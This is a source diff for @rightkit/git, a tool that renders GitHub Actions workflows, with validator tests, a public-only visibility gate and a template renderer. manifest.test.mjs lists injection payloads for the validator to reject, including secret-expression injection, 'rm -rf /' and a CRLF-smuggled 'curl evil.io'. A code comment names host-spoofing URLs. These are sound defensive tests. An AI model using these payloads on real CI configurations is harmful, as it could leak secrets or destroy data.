@rightkit/git 0.1.0

package/manifest.test.mjs

@@ -0,0 +1,196 @@
+import test from "node:test";
+import assert from "node:assert/strict";
+import { validateManifest } from "./manifest.mjs";
+
+const VALID_MINIMAL = {
+  schemaVersion: 1,
+  lanes: ["ci"],
+  matrix: { os: ["ubuntu-latest"], node: ["22.13"] },
+  packageManager: "pnpm@11.18.0",
+  templateVersion: "1.0.0",
+};
+
+test("accepts a minimal valid manifest", () => {
+  const { valid, errors } = validateManifest(VALID_MINIMAL);
+  assert.equal(valid, true);
+  assert.deepEqual(errors, []);
+});
+
+test("rejects non-object input", () => {
+  for (const bad of [null, undefined, "not an object", 42, ["array"]]) {
+    const { valid, errors } = validateManifest(bad);
+    assert.equal(valid, false);
+    assert.ok(errors.length > 0);
+  }
+});
+
+test("rejects an unknown top-level field", () => {
+  const { valid, errors } = validateManifest({ ...VALID_MINIMAL, extra: true });
+  assert.equal(valid, false);
+  assert.ok(errors.some((e) => e.includes("unknown top-level field: extra")));
+});
+
+test("rejects schemaVersion other than 1", () => {
+  const { valid, errors } = validateManifest({ ...VALID_MINIMAL, schemaVersion: 2 });
+  assert.equal(valid, false);
+  assert.ok(errors.some((e) => e.includes("schemaVersion")));
+});
+
+test("rejects an empty or unknown lane list", () => {
+  assert.equal(validateManifest({ ...VALID_MINIMAL, lanes: [] }).valid, false);
+  assert.equal(validateManifest({ ...VALID_MINIMAL, lanes: ["not-a-real-lane"] }).valid, false);
+  assert.equal(validateManifest({ ...VALID_MINIMAL, lanes: ["ci", "ci"] }).valid, false);
+});
+
+test("rejects a malformed matrix", () => {
+  assert.equal(validateManifest({ ...VALID_MINIMAL, matrix: { os: [] , node: ["22.13"] } }).valid, false);
+  assert.equal(validateManifest({ ...VALID_MINIMAL, matrix: { os: ["ubuntu-latest"] } }).valid, false);
+  assert.equal(validateManifest({ ...VALID_MINIMAL, matrix: "ubuntu-latest" }).valid, false);
+});
+
+test("rejects a malformed packageManager or templateVersion", () => {
+  assert.equal(validateManifest({ ...VALID_MINIMAL, packageManager: "pnpm" }).valid, false);
+  assert.equal(validateManifest({ ...VALID_MINIMAL, packageManager: "bun@1.0.0" }).valid, false);
+  assert.equal(validateManifest({ ...VALID_MINIMAL, templateVersion: "v1" }).valid, false);
+});
+
+test("publish-npm lane requires publish.npm with oidc true", () => {
+  assert.equal(validateManifest({ ...VALID_MINIMAL, lanes: ["publish-npm"] }).valid, false);
+  assert.equal(
+    validateManifest({ ...VALID_MINIMAL, lanes: ["publish-npm"], publish: { npm: { oidc: false, provenance: true } } }).valid,
+    false,
+  );
+  assert.equal(
+    validateManifest({ ...VALID_MINIMAL, lanes: ["publish-npm"], publish: { npm: { oidc: true, provenance: true } } }).valid,
+    true,
+  );
+});
+
+test("publish-package-managers lane requires both homebrew and winget config", () => {
+  const base = { ...VALID_MINIMAL, lanes: ["publish-package-managers"] };
+  assert.equal(validateManifest(base).valid, false);
+  assert.equal(
+    validateManifest({ ...base, publish: { homebrew: { tap: "acme/tap", formulaName: "widgets" } } }).valid,
+    false,
+  );
+  assert.equal(
+    validateManifest({
+      ...base,
+      publish: {
+        homebrew: { tap: "acme/tap", formulaName: "widgets" },
+        winget: { packageIdentifier: "Acme.Widgets" },
+      },
+    }).valid,
+    true,
+  );
+});
+
+test("rejects a malformed homebrew tap (must be owner/repo)", () => {
+  const result = validateManifest({
+    ...VALID_MINIMAL,
+    lanes: ["publish-package-managers"],
+    publish: {
+      homebrew: { tap: "not-owner-slash-repo", formulaName: "widgets" },
+      winget: { packageIdentifier: "Acme.Widgets" },
+    },
+  });
+  assert.equal(result.valid, false);
+});
+
+// F15 fix: manifest fields (homebrew.tap, homebrew.formulaName,
+// winget.packageIdentifier, matrix.os/node) flow verbatim into rendered
+// workflow YAML via render.mjs's literal string substitution, which does no
+// escaping. The re-validation proved a hostile `formulaName` containing
+// GitHub Actions expression syntax survived into rendered output — a
+// workflow-expression injection, not a cosmetic bug. Every property below
+// is checked against a FAMILY of hostile payloads (expression syntax,
+// command substitution, backticks, statement separators, newlines/CRLF —
+// not just the report's one literal example — because a fix that only
+// blocks that exact string would be exactly the failure this suite must
+// catch. Each field must reject every payload in the family.
+const HOSTILE_PAYLOADS = [
+  "${{ secrets.APPLE_CERTIFICATE }}",
+  "widgets${{secrets.X}}",
+  "`whoami`",
+  "$(whoami)",
+  "widgets; rm -rf /",
+  "widgets\nsteps:\n  - run: exit 1",
+  "widgets\r\nrun: curl evil.io",
+  'widgets"; secrets: ${{ secrets.X }}',
+  "widgets & echo pwned",
+  "widgets|echo pwned",
+];
+
+test("F15: publish.homebrew.formulaName rejects a family of injection payloads", () => {
+  for (const payload of HOSTILE_PAYLOADS) {
+    const result = validateManifest({
+      ...VALID_MINIMAL,
+      lanes: ["publish-package-managers"],
+      publish: {
+        homebrew: { tap: "acme/tap", formulaName: payload },
+        winget: { packageIdentifier: "Acme.Widgets" },
+      },
+    });
+    assert.equal(result.valid, false, `formulaName payload should be rejected: ${JSON.stringify(payload)}`);
+  }
+});
+
+test("F15: publish.homebrew.tap rejects a family of injection payloads", () => {
+  for (const payload of HOSTILE_PAYLOADS) {
+    const result = validateManifest({
+      ...VALID_MINIMAL,
+      lanes: ["publish-package-managers"],
+      publish: {
+        homebrew: { tap: `acme/${payload}`, formulaName: "widgets" },
+        winget: { packageIdentifier: "Acme.Widgets" },
+      },
+    });
+    assert.equal(result.valid, false, `tap payload should be rejected: ${JSON.stringify(payload)}`);
+  }
+});
+
+test("F15: publish.winget.packageIdentifier rejects a family of injection payloads", () => {
+  for (const payload of HOSTILE_PAYLOADS) {
+    const result = validateManifest({
+      ...VALID_MINIMAL,
+      lanes: ["publish-package-managers"],
+      publish: {
+        homebrew: { tap: "acme/tap", formulaName: "widgets" },
+        winget: { packageIdentifier: payload },
+      },
+    });
+    assert.equal(result.valid, false, `winget packageIdentifier payload should be rejected: ${JSON.stringify(payload)}`);
+  }
+});
+
+test("F15: matrix.os and matrix.node reject a family of injection payloads", () => {
+  for (const payload of HOSTILE_PAYLOADS) {
+    assert.equal(
+      validateManifest({ ...VALID_MINIMAL, matrix: { os: [payload], node: ["22.13"] } }).valid,
+      false,
+      `matrix.os payload should be rejected: ${JSON.stringify(payload)}`,
+    );
+    assert.equal(
+      validateManifest({ ...VALID_MINIMAL, matrix: { os: ["ubuntu-latest"], node: [payload] } }).valid,
+      false,
+      `matrix.node payload should be rejected: ${JSON.stringify(payload)}`,
+    );
+  }
+});
+
+// Non-regression: realistic, legitimate values using the characters real
+// GitHub/Homebrew/WinGet identifiers and runner/version labels actually use
+// must keep passing — the allowlist must not be so strict it breaks normal
+// configuration.
+test("F15 non-regression: realistic homebrew/winget/matrix values still validate", () => {
+  const result = validateManifest({
+    ...VALID_MINIMAL,
+    lanes: ["publish-package-managers"],
+    matrix: { os: ["ubuntu-latest", "self-hosted-linux"], node: ["22.13", "lts/*", "20.x"] },
+    publish: {
+      homebrew: { tap: "acme-inc/homebrew-tap", formulaName: "widgets++" },
+      winget: { packageIdentifier: "Acme.Widgets.Beta" },
+    },
+  });
+  assert.equal(result.valid, true, JSON.stringify(result.errors));
+});

package/pack-smoke.test.mjs

@@ -0,0 +1,55 @@
+// BLOCK-recurrence guard: the only test that catches a `files`-allowlist
+// omission in package.json is one that actually packs the tarball npm would
+// publish and runs the extracted bin with `node` — `node --test` run from
+// the source tree never notices a missing directory because the source
+// tree has every file regardless of what `files` declares. This test packs
+// for real (npm pack), extracts to a temp dir, and executes the built bin's
+// --help and --version from inside that extracted tree only.
+import assert from "node:assert/strict";
+import { spawnSync } from "node:child_process";
+import { mkdtempSync, rmSync } from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { fileURLToPath } from "node:url";
+import test from "node:test";
+
+const packageRoot = path.dirname(fileURLToPath(import.meta.url));
+
+function run(command, args, options) {
+  const result = spawnSync(command, args, { encoding: "utf8", ...options });
+  if (result.error) throw result.error;
+  return result;
+}
+
+test("packaged tarball: right-git --help and --version run clean from the published files only", () => {
+  const workDir = mkdtempSync(path.join(os.tmpdir(), "rightkit-git-pack-"));
+  try {
+    // shell:true — on Windows "npm" only resolves (to npm.cmd) through the
+    // shell; args here are fixed literals we construct, never user input.
+    const packResult = run("npm", ["pack", "--json", "--pack-destination", workDir], { cwd: packageRoot, shell: true });
+    assert.equal(packResult.status, 0, `npm pack failed: ${packResult.stderr}`);
+    const [packInfo] = JSON.parse(packResult.stdout);
+
+    // Run tar FROM the temp dir on the bare filename so no absolute "C:\..."
+    // path reaches tar — that colon is the only reason GNU tar's --force-local
+    // was ever needed, and avoiding it keeps this portable to bsdtar (the
+    // Windows built-in) and any CI host, not just a GNU-tar toolchain.
+    const extractResult = run("tar", ["-xzf", packInfo.filename], { cwd: workDir });
+    assert.equal(extractResult.status, 0, `tar extract failed: ${extractResult.stderr}`);
+    // npm tarballs always nest content under a top-level "package/" directory.
+    const extractedPackageDir = path.join(workDir, "package");
+    const bin = path.join(extractedPackageDir, "cli", "right-git.mjs");
+
+    const helpResult = run("node", [bin, "--help"], { cwd: extractedPackageDir });
+    assert.equal(helpResult.status, 0, `--help exited non-zero: ${helpResult.stderr}`);
+    assert.ok(!/ERR_MODULE_NOT_FOUND/.test(helpResult.stderr ?? ""), helpResult.stderr);
+    assert.ok(/right-git/i.test(helpResult.stdout));
+
+    const versionResult = run("node", [bin, "--version"], { cwd: extractedPackageDir });
+    assert.equal(versionResult.status, 0, `--version exited non-zero: ${versionResult.stderr}`);
+    assert.ok(!/ERR_MODULE_NOT_FOUND/.test(versionResult.stderr ?? ""), versionResult.stderr);
+    assert.match(versionResult.stdout, /\d+\.\d+\.\d+/);
+  } finally {
+    rmSync(workDir, { recursive: true, force: true });
+  }
+});

package/package.json

@@ -0,0 +1,30 @@
+{
+  "name": "@rightkit/git",
+  "version": "0.1.0",
+  "description": "Public-repo-only GitHub Actions workflow layer: templates, visibility gate, sync/drift/adopt/uninstall for right-git.",
+  "type": "module",
+  "bin": {
+    "right-git": "cli/right-git.mjs"
+  },
+  "files": [
+    "cli",
+    "policy",
+    "templates",
+    "*.mjs",
+    "*.json"
+  ],
+  "sideEffects": false,
+  "scripts": {
+    "test": "node --test *.test.mjs"
+  },
+  "publishConfig": {
+    "registry": "https://registry.npmjs.org/",
+    "access": "public"
+  },
+  "repository": {
+    "type": "git",
+    "url": "git+https://github.com/adrdsouza/claude.git",
+    "directory": "tools/rightkit/packages/git"
+  },
+  "packageManager": "pnpm@11.18.0"
+}

package/policy/visibility-gate.mjs

@@ -0,0 +1,168 @@
+// The public-only enforcement (DESIGN.md §5, invariant I1). Install-time
+// layer: resolve a repo's visibility and hard-refuse anything that is not
+// confirmed public. No override flag exists in v1 — that is a deliberate
+// policy change to this file, never a CLI flag.
+//
+// All child-process / network access is injected so tests can run fully
+// offline (never hit gh or the network from a test).
+
+import { execFile as execFileCb } from "node:child_process";
+import { promisify } from "node:util";
+
+const execFileAsync = promisify(execFileCb);
+
+/** @typedef {"public"|"private"|"internal"|"unknown"} Visibility */
+
+/**
+ * Query `gh repo view --json visibility` in repoPath.
+ * Returns { ok, visibility, raw, error }, never throws.
+ */
+async function ghVisibility(repoPath, execFile) {
+  try {
+    const { stdout } = await execFile("gh", ["repo", "view", "--json", "visibility"], { cwd: repoPath });
+    const parsed = JSON.parse(stdout);
+    const visibility = String(parsed.visibility || "").toLowerCase();
+    if (visibility === "public" || visibility === "private" || visibility === "internal") {
+      return { ok: true, visibility, raw: parsed, error: null };
+    }
+    return { ok: false, visibility: "unknown", raw: parsed, error: `unrecognized gh visibility value: ${parsed.visibility}` };
+  } catch (error) {
+    return { ok: false, visibility: "unknown", raw: null, error: error.message };
+  }
+}
+
+const GITHUB_HOST = "github.com";
+
+/**
+ * Normalize a git remote into something the WHATWG `URL` parser accepts.
+ * Full URLs (`https://…`, `ssh://…`, `git://…`) pass through unchanged.
+ * Git's scp-like shorthand (`[user@]host:path`, no `://`) is rewritten to
+ * `ssh://[user@]host/path` so the same parser handles both forms — that
+ * parser is what does the real work below, not this rewrite.
+ */
+function toParseableUrl(remoteUrl) {
+  const trimmed = remoteUrl.trim();
+  if (/^[a-zA-Z][a-zA-Z0-9+.-]*:\/\//.test(trimmed)) return trimmed;
+  const scpMatch = /^([a-zA-Z0-9_.-]+@)?([a-zA-Z0-9.-]+):(?!\/\/)(.+)$/.exec(trimmed);
+  if (!scpMatch) return trimmed;
+  const [, userAt = "", host, path] = scpMatch;
+  return `ssh://${userAt}${host}/${path}`;
+}
+
+/**
+ * Parse an owner/repo pair out of a git remote URL (https or ssh form).
+ *
+ * N1 fix: host matching must be exact, not substring. The prior regex
+ * searched the raw string for the text `github.com` anywhere, so
+ * `notgithub.com`, `github.com.evil.io`, and `https://github.com@evil.io/…`
+ * (github.com as userinfo, real host evil.io) were all misread as GitHub.
+ * This parses the remote as a real URL and requires `url.hostname` to equal
+ * `github.com` exactly (case-insensitive; WHATWG URL already lowercases
+ * hostnames) — the URL parser itself separates userinfo/port from host, so
+ * those tricks fall out for free. Enterprise hosts (e.g. github.example.com)
+ * and any other non-exact host still fail closed to null.
+ *
+ * F16 fix (kept): the repo-name group allows internal dots (e.g.
+ * `repo.with.dot`) — it only excludes `/` (which ends the segment), not `.`.
+ * A trailing `.git` suffix is stripped afterward in code.
+ */
+export function parseOwnerRepo(remoteUrl) {
+  let url;
+  try {
+    url = new URL(toParseableUrl(remoteUrl));
+  } catch {
+    return null;
+  }
+  if (url.hostname.toLowerCase() !== GITHUB_HOST) return null;
+
+  const match = /^\/?([^/]+)\/([^/]+?)\/?$/.exec(url.pathname);
+  if (!match) return null;
+  const owner = match[1];
+  const repo = match[2].endsWith(".git") ? match[2].slice(0, -4) : match[2];
+  if (!owner || !repo) return null;
+  return { owner, repo };
+}
+
+/**
+ * Fallback: read the origin remote, then ask the public GitHub API for
+ * visibility. Unauthenticated API calls can only positively confirm
+ * "public" (a 404 is ambiguous: could be private, could be nonexistent) —
+ * so this fallback only ever returns "public" or "unknown", never a false
+ * "private"/"internal" reading that a hard refusal downstream would relax.
+ */
+async function gitRemoteApiVisibility(repoPath, execFile, fetchFn) {
+  let remoteUrl;
+  try {
+    const { stdout } = await execFile("git", ["remote", "get-url", "origin"], { cwd: repoPath });
+    remoteUrl = stdout.trim();
+  } catch (error) {
+    return { ok: false, visibility: "unknown", raw: null, error: `git remote get-url origin failed: ${error.message}` };
+  }
+
+  const ownerRepo = parseOwnerRepo(remoteUrl);
+  if (!ownerRepo) {
+    return { ok: false, visibility: "unknown", raw: null, error: `could not parse owner/repo from remote: ${remoteUrl}` };
+  }
+
+  try {
+    const response = await fetchFn(`https://api.github.com/repos/${ownerRepo.owner}/${ownerRepo.repo}`, {
+      headers: { Accept: "application/vnd.github+json", "User-Agent": "right-git" },
+    });
+    if (!response.ok) {
+      return { ok: false, visibility: "unknown", raw: { status: response.status }, error: `github api returned ${response.status}` };
+    }
+    const body = await response.json();
+    if (body.private === false) {
+      return { ok: true, visibility: "public", raw: body, error: null };
+    }
+    // private === true, or field absent: cannot distinguish private/internal
+    // over the unauthenticated API — fail closed to "unknown".
+    return { ok: false, visibility: "unknown", raw: body, error: "unauthenticated API cannot confirm public visibility" };
+  } catch (error) {
+    return { ok: false, visibility: "unknown", raw: null, error: error.message };
+  }
+}
+
+/**
+ * Resolve the visibility of the repo at repoPath.
+ * deps allows tests to inject fakes for execFile/fetch (never hit the
+ * network or spawn a real process from a test).
+ * Returns { visibility, source, raw, error } — never throws.
+ */
+export async function resolveVisibility(repoPath, deps = {}) {
+  const execFile = deps.execFile || execFileAsync;
+  const fetchFn = deps.fetch || globalThis.fetch;
+
+  const gh = await ghVisibility(repoPath, execFile);
+  if (gh.ok) {
+    return { visibility: gh.visibility, source: "gh", raw: gh.raw, error: null };
+  }
+
+  const fallback = await gitRemoteApiVisibility(repoPath, execFile, fetchFn);
+  if (fallback.ok) {
+    return { visibility: fallback.visibility, source: "git-remote-api", raw: fallback.raw, error: null };
+  }
+
+  return {
+    visibility: "unknown",
+    source: "error",
+    raw: null,
+    error: `gh: ${gh.error}; fallback: ${fallback.error}`,
+  };
+}
+
+/**
+ * I1: hard refusal of anything not confirmed public. No override.
+ * Returns a typed result: { allowed, visibility, source, reason }.
+ */
+export async function assertPublic(repoPath, deps = {}) {
+  const result = await resolveVisibility(repoPath, deps);
+  if (result.visibility === "public") {
+    return { allowed: true, visibility: result.visibility, source: result.source, reason: null };
+  }
+  const reason =
+    result.visibility === "unknown"
+      ? `could not confirm repository visibility (fail closed): ${result.error}`
+      : `repository visibility is '${result.visibility}'; right-git installs into public repos only (invariant I1)`;
+  return { allowed: false, visibility: result.visibility, source: result.source, reason };
+}

package/render.mjs

@@ -0,0 +1,35 @@
+// Shared render engine: template text + a flat context map -> rendered YAML.
+// Templates use `${TOKEN}` (single brace, upper-snake-case) placeholders.
+// GitHub Actions expressions use `${{ ... }}` (double brace) and are never
+// touched by this substitution — the two syntaxes cannot collide because our
+// token regex requires an upper-case/underscore character immediately after
+// `${`, and `${{` is followed by another `{`.
+
+const TOKEN_RE = /\$\{([A-Z][A-Z0-9_]*)\}/g;
+const LEFTOVER_RE = /\$\{[A-Z][A-Z0-9_]*\}/;
+
+// First line of every rendered template (see templates/*.yml). Used to
+// identify right-git-managed files for drift/uninstall without a separate
+// state file — the marker lives in the file itself.
+export const MANAGED_MARKER = "# Managed by right-git";
+
+/**
+ * Render one template against a context map. Deterministic: same template +
+ * same context always produces byte-identical output.
+ * Throws if a placeholder has no entry in context (mechanical safety net —
+ * never silently emits an unresolved token into a workflow file).
+ */
+export function renderTemplate(templateText, context) {
+  const rendered = templateText.replace(TOKEN_RE, (full, key) => {
+    if (!Object.hasOwn(context, key)) {
+      throw new Error(`render: no value provided for placeholder \${${key}}`);
+    }
+    return String(context[key]);
+  });
+
+  const leftover = LEFTOVER_RE.exec(rendered);
+  if (leftover) {
+    throw new Error(`render: unresolved placeholder ${leftover[0]} remained after substitution`);
+  }
+  return rendered;
+}

package/render.test.mjs

@@ -0,0 +1,117 @@
+import test from "node:test";
+import assert from "node:assert/strict";
+import fs from "node:fs";
+import path from "node:path";
+import { fileURLToPath } from "node:url";
+import { renderTemplate, MANAGED_MARKER } from "./render.mjs";
+import { buildRenderContext, LANE_FILENAMES, KNOWN_LANES } from "./manifest.mjs";
+
+const packageRoot = path.resolve(path.dirname(fileURLToPath(import.meta.url)));
+const templatesDir = path.join(packageRoot, "templates");
+
+const FULL_MANIFEST = {
+  schemaVersion: 1,
+  lanes: [...KNOWN_LANES],
+  matrix: { os: ["ubuntu-latest", "macos-latest", "windows-latest"], node: ["22.13", "24"] },
+  packageManager: "pnpm@11.18.0",
+  publish: {
+    npm: { oidc: true, provenance: true },
+    homebrew: { tap: "acme/homebrew-tap", formulaName: "widgets" },
+    winget: { packageIdentifier: "Acme.Widgets" },
+  },
+  templateVersion: "1.0.0",
+};
+
+function renderAllLanes(manifest, repoPath) {
+  const context = buildRenderContext(manifest, repoPath);
+  const rendered = {};
+  for (const lane of manifest.lanes) {
+    const templatePath = path.join(templatesDir, LANE_FILENAMES[lane]);
+    const templateText = fs.readFileSync(templatePath, "utf8");
+    rendered[lane] = renderTemplate(templateText, context);
+  }
+  return rendered;
+}
+
+test("every known lane has a template file and renders without an unresolved placeholder", () => {
+  for (const lane of KNOWN_LANES) {
+    const templatePath = path.join(templatesDir, LANE_FILENAMES[lane]);
+    assert.ok(fs.existsSync(templatePath), `missing template for lane ${lane}`);
+  }
+  const rendered = renderAllLanes(FULL_MANIFEST, "/repos/widgets");
+  assert.equal(Object.keys(rendered).length, KNOWN_LANES.length);
+});
+
+test("render determinism: same manifest renders byte-identical output every time", () => {
+  const first = renderAllLanes(FULL_MANIFEST, "/repos/widgets");
+  const second = renderAllLanes(FULL_MANIFEST, "/repos/widgets");
+  for (const lane of KNOWN_LANES) {
+    assert.equal(first[lane], second[lane], `lane ${lane} was not deterministic`);
+  }
+});
+
+// F5 fix: a job-level `if: !private` on the real work job means GitHub
+// SKIPS that job entirely for a private repo — the nested "refuse" step
+// inside it is then unreachable and never runs, so nothing fails and the
+// workflow can read as "nothing to do" rather than a loud failure. The
+// fix moves the refusal into its own `private-repo-guard` job that carries
+// NO job-level `if` (so it always executes); its single step's own `if`
+// fires only when private and exits 1, which fails that job outright. Real
+// work jobs `needs: [private-repo-guard]` instead of gating themselves, so
+// a failed (not skipped) guard blocks them via GitHub's default
+// needs-implies-success semantics. This test asserts the corrected shape;
+// see guard-coverage.test.mjs for the full job-graph reachability proof.
+test("guard injection: every rendered workflow has an unconditional guard job that refuses a private repository", () => {
+  const rendered = renderAllLanes(FULL_MANIFEST, "/repos/widgets");
+  for (const lane of KNOWN_LANES) {
+    const content = rendered[lane];
+    assert.ok(content.startsWith(MANAGED_MARKER), `lane ${lane} is missing the managed marker`);
+    assert.match(content, /^ {2}private-repo-guard:\s*$/m, `lane ${lane} missing the private-repo-guard job`);
+    assert.match(content, /Refuse private repository/, `lane ${lane} missing the fail-fast guard step`);
+    assert.match(content, /if: \$\{\{ github\.event\.repository\.private \}\}/, `lane ${lane} guard step missing its own if condition`);
+    assert.match(content, /exit 1/, `lane ${lane} guard step must exit non-zero`);
+    // No job anywhere in the file may gate itself on the OLD (skip, not
+    // fail) pattern — that is exactly the bug being fixed.
+    assert.doesNotMatch(
+      content,
+      /if: \$\{\{ !github\.event\.repository\.private \}\}/,
+      `lane ${lane} still gates a job with the skip-not-fail 'if: !private' pattern`,
+    );
+  }
+});
+
+// F15 regression: the old template shipped HOMEBREW_TAP_TOKEN and
+// WINGET_CREATE_GITHUB_TOKEN with no documentation of what they are or why
+// they don't violate I2, while the surrounding design text describes a
+// strict credential boundary ("no signing credential ... beyond OIDC-to-npm"
+// / "never signs in CI") without acknowledging these two long-lived PATs.
+// Fails against the pre-fix header comment (no such text existed) and
+// passes once the template documents the boundary honestly.
+test("F15: publish-package-managers documents its credential boundary honestly", () => {
+  const rendered = renderAllLanes(FULL_MANIFEST, "/repos/widgets")["publish-package-managers"];
+  assert.match(rendered, /CREDENTIAL BOUNDARY/, "template must call out its credential boundary explicitly");
+  assert.match(rendered, /HOMEBREW_TAP_TOKEN:[\s\S]*?PAT/i, "must document what HOMEBREW_TAP_TOKEN is");
+  assert.match(rendered, /WINGET_CREATE_GITHUB_TOKEN:[\s\S]*?PAT/i, "must document what WINGET_CREATE_GITHUB_TOKEN is");
+  assert.match(rendered, /not signing credentials/i, "must state that these tokens are not signing material (I2 is about signing credentials specifically)");
+  assert.match(rendered, /opt-in/i, "must state the lane is opt-in, not rendered by default");
+});
+
+// F15 non-regression: the two PAT-style secrets must never leak into any
+// OTHER lane's rendered output — they belong solely to the explicitly
+// opted-in publish-package-managers lane.
+test("F15: HOMEBREW_TAP_TOKEN and WINGET_CREATE_GITHUB_TOKEN never appear outside the publish-package-managers lane", () => {
+  const otherLanes = KNOWN_LANES.filter((lane) => lane !== "publish-package-managers");
+  const rendered = renderAllLanes({ ...FULL_MANIFEST, lanes: otherLanes }, "/repos/widgets");
+  for (const lane of otherLanes) {
+    assert.doesNotMatch(rendered[lane], /HOMEBREW_TAP_TOKEN|WINGET_CREATE_GITHUB_TOKEN/, `lane ${lane} must never reference the package-manager PAT secrets`);
+  }
+});
+
+test("renderTemplate throws on an unresolved placeholder rather than emitting it", () => {
+  assert.throws(() => renderTemplate("value: ${MISSING_TOKEN}\n", {}), /no value provided/);
+});
+
+test("renderTemplate never substitutes inside GitHub Actions double-brace expressions", () => {
+  const out = renderTemplate("run: echo ${{ github.repository }}\nname: ${TEMPLATE_VERSION}\n", { TEMPLATE_VERSION: "1.0.0" });
+  assert.equal(out, "run: echo ${{ github.repository }}\nname: 1.0.0\n");
+});